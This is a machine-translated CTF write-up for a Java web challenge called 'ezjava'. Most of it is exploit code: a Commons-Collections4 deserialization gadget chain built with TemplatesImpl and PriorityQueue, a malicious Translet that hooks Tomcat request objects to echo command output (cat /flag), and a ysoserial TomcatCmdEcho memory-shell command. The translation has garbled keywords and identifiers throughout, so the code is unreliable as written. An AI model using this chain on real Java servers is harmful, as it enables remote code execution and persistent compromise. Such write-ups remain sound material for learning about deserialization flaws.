0x01 web
1.ezjava
ソースコードをダウンロードしてJARファイルを逆コンパイルし、Post /MyTestにはDeserializationの脆弱性があることがわかります
最終的には役に立たないようです
プログラムをチェックして、Apacheの共通コレクションS4、およびその脱必要性のある利用クラスがパッチが適用されていないことを確認します。
Commons-Collection4-4.0を一目で見たので、直接Ysoserialを使用してヒットしました
テストサイトは、それがCC4であることを発見しました
添付の記事
さらに、Spring-Echには、インターネット上で既製のPOCがあります
ホイールを作る!
パッケージmoe.orangemc;
com.sun.org.apache.xalan.internal.xsltc.trax.templatesimplをインポートします。
com.sun.org.apache.xalan.internal.xsltc.trax.traxfilterをインポートします。
javassist.classpoolをインポートします。
javassist.ctclassをインポートします。
Import org.apache.commons.collections4.transformer;
org.apache.commons.collections4.comparators.transformingcomparatorをインポートします。
org.apache.commons.collections4.functors.chainedtransformerをインポートします。
org.apache.commons.collections4.functors.constanttransformerをインポートします。
Import org.apache.commons.collections4.functors.instantiatetransformer;
javax.xml.transform.templatesをインポートします。
java.io.bytearrayinputStreamをインポートします。
java.io.bytearrayoutputStreamをインポートします。
java.io.objectinputStreamをインポートします。
java.io.objectOutputStreamをインポートします。
java.lang.reflect.fieldをインポートします。
java.util.base64をインポートします。
java.util.priorityqueueをインポートします。
パブリッククラスメイン{
public static void main(string [] args){
試す {
classpool classpool=classpool.getDefault();
ctclass ctclass=classpool.getctclass( 'meow');
byte [] bytes=ctclass.tobytecode();
templatesimpl templates=new TemplatesImpl();
フィールドF1=templates.getClass()。getDeclaredField( '_ name');
フィールドF2=templates.getClass()。getDeclaredField( '_ bytecodes');
f1.setAccessible(true);
f2.setAccessible(true);
f1.set(Templates、 'Meow');
f2.set(テンプレート、new byte [] [] {bytes});
TransformerClass?オブジェクトChainedTransformer=new ChainedTransformer(new constantTransformer(traxfilter.class)、new Instantiatetransformer(new class [] {templates.class}、new object [] {Templates}));
TransformingComparatorClass?オブジェクトTransformingComparator=new TransformingComparator(ChainedTransformer);
PriorityQueueInteger queue=new PriorityQueue(2);
queue.add(1);
queue.add(1);
フィールドf=queue.getClass()。getDeclaredField( 'Comparator');
f.setAccessible(true);
f.set(queue、TransformingComparator);
フィールドF3=queue.getClass()。getDeclaredField( 'Queue');
f3.SetAccessible(true);
f3.set(queue、new object [] {chainedtransformer、chainedtransformer});
bytearrayoutputStream baos=new bytearrayoutputStream();
ObjectOutputStream OOS=new objectOutputStream(baos);
oos.writeobject(queue);
oos.close();
string result=new String(base64.getEncoder()。encode(baos.tobytearray()));
system.out.println(result);
} catch(例外e){
e.printstacktrace();
}
}
}上記のコードによると、エコーできないことがわかりますが、Baiduによると、Apache Catalinaを使用してエコーするために使用できます。同時に、このクラスライブラリ:はパッケージに含まれています。
悪意のあるクラスを書く:
com.sun.org.apache.xalan.internal.xsltc.domをインポートします。
com.sun.org.apache.xalan.internal.xsltc.transletexceptionをインポートします。
com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttransletをインポートします。
com.sun.org.apache.xml.internal.dtm.dtmaxisiteratorをインポートします。
com.sun.org.apache.xml.internal.serializer.serializationhandlerをインポートします。
パブリッククラスMeowは抽象的なトランスレットを拡張します{
public meow(){
素晴らしい();
this.namesArray=new String [] {'Meow'};
試す {
Java.lang.Refflt.field Contextfield=org.apache.catalina.core.standardcontext.class.getDeclaredfield( 'context');
Java.lang.Reflect.field ServiceField=org.apache.catalina.core.applicationcontext.class.getDeclaredfield( 'service');
Java.lang.Refflt.field requestfield=org.apache.coyote.requestinfo.class.getDeclaredfield( 'req');
Java.lang.Reflect.Method gethandlermethod=org.apache.coyote.abstractprotocol.class.getDeclaredMethod( 'gethandler'、null);
contextfield.setAccessible(true);
servicefield.setAccessible(true);
requestfield.setAccessible(true);
gethandlermethod.setAccessible(true);
org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase=
(org.apache.catalina.loader.webappclassloaderbase)thread.currentthread()。getContextClassLoader();
org.apache.catalina.core.applicationcontext applicationContext=(org.apache.catalina.core.applicationcontext)contextfield.get(webappclassloaderbase.getResources()。getContext());
org.apache.catalina.core.standardservice StandardService=(org.apache.catalina.core.standardervice)servicefield.get(ApplicationContext);
org.apache.catalina.connector.connector [] connectors=starderservice.findconnectors();
for(int i=0; iconnectors.length; i ++){
if(4==コネクタ[i] .getscheme()。length()){
org.apache.coyote.protocolhandler protocolhandler=connectors [i] .getProtocolhandler();
if(org.apache.coyote.http11.abstracthtp1p1protocolのプロトコルハンドラーインスタンス){
class [] classes=org.apache.coyote.abstractprotocol.class.getDeclaredClasses();
for(int j=0; j classes.length; j ++){
if(52==(classes [j] .getname()。length())|| 60==(classes [j] .getname()。length()){
system.out.println(classes [j] .getname());
Java.lang.Refflt.field GlobalField=classes [j] .getDeclaredfield( 'Global');
Java.lang.Refflt.field Processorsfield=org.apache.coyote.requestgroupinfo.class.getDeclaredfield( 'processors');
Globalfield.SetAccessible(true);
processorsfield.setAccessible(true);
org.apache.coyote.requestgroupinfo requestgroupinfo=(org.apache.coyote.requestgroupinfo)Globalfield.get(gethandlermethod.invoke(Protocolhandler、null)));
java.util.list list=(java.util.list)processorsfield.get(requestgroupinfo);
for(int k=0; k list.size(); k ++){
org.apache.coyote.request temprequest=(org.apache.coyote.request)requestfield.get(list.get(k));
system.out.println(temprequest.getheader( 'tomcat'));
org.apache.catalina.connector.request request=(org.apache.catalina.connector.request)temprequest.getNote(1);
文字列cmd='' + 'cat /flag' + '';
string [] cmds=!system.getProperty( 'os.name')。tolowercase()。contains( 'win')? new String [] {'sh'、 '-C'、cmd} : new String [] {'cmd.exe'、 '/c'、cmd};
java.io.inputStream in=runtime.getRuntime()。exec(cmds).getInputStream();
java.util.scanner s=new Java.util.scanner(in).usedelimiter( '\ n');
string output=s.hasnext()? s.next(): '';
java.io.writer writer=request.getResponse()。getWriter();
java.lang.reft.fieldを使用してwriter=request.getResponse()。getClass()。getDeclaredfield( 'usingWriter');
whirewter.setAccessible(true);
whirewter.set(request.getResponse()、boolean.false);
writer.write(output);
writer.flush();
壊す;
}
壊す;
}
}
}
壊す;
}
}
} catch(例外e){
}
}
@オーバーライド
public void transform(dom document、serializationhandler [] handlers)transletexception {
}
@オーバーライド
public void transform(dom document、dtmaxisiterator iterator、serializationhandlerハンドラー)transletexception {
}
}
回った後、マスターY4erのYsoserialの修正バージョンを見つけました
https://github.com/y4er/ysoserial
Tomcatcmdecho Memory Horseと組み合わせてCC4を試してください
Java -jar yserial-main-1736fa42da-1.jar commonscollections4 'class:tomcatcmdecho' | base64
パッケージを送信するときは、コンテンツタイプを削除してください
コマンドは、2回目の送信時に正常に実行されました
Recommended Comments